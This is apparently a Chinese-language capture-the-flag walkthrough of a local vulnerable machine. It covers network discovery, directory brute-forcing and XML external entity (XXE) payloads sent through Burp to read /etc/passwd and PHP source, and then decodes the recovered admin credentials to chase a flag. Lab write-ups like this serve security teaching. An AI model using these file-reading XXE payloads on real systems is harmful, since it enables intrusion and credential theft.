靶機:
0x01 確定目標IP
目標網絡模式默認為net模式,無需修改
使用arp-scan或者netdiscover確定目標ip
arp-scan -l 或者 netdiscover -i eth1 目標ip為 192.168.88.128

探測端口,發現目標機器只開啟了80端口

訪問web服務發現為apache默認頁面,猜測存在隱藏目錄

0x02 目錄爆破
dirb http://192.168.88.128 只掃到一個robots.txt文件

訪問
http://192.168.88.128/robots.txt 一個/xxe/目錄,有個后台頁面

先訪問xxe目錄
http://192.168.88.128/xxe/

輸入用戶名密碼進行抓包分析

可以看到用戶名密碼是通過xml傳遞給后端的

0x02 xxe漏洞利用
burp抓包,修改post體,嘗試讀取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>

接下來我們可以使用
php://filter/read=convert.base64-encode/resource=admin.php讀取admin.php的源碼。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>admin</name><password>admin</password></root>

返回包進行了加密,無法直接找到flag
base64解碼:找到用戶名密碼 administhebest/e6e061838856bf47e1de730719fb2609

對password密文進一步解碼,獲得用戶名密碼:administhebest/admin@123

使用賬戶名密碼登錄admin.php

點擊登錄出現的一個紅色的flag字樣

當點擊flag會跳轉
http://192.168.88.128/flagmeout.php 一個空白頁

查看頁面源碼獲得flag提示
<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->

先進行base32 解碼,再進行base64解碼


查看/etc/.flag.php源碼
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>

base64解碼:看不懂是啥東西,將返回內容復制保存為php

開啟web服務 php -S 0.0.0.0:8090 -t /root

返回的還是剛才那串字符

看到大家都是使用xampp去運行php文件,通過報錯信息獲得的flag,我這邊報錯信息中未發現flag!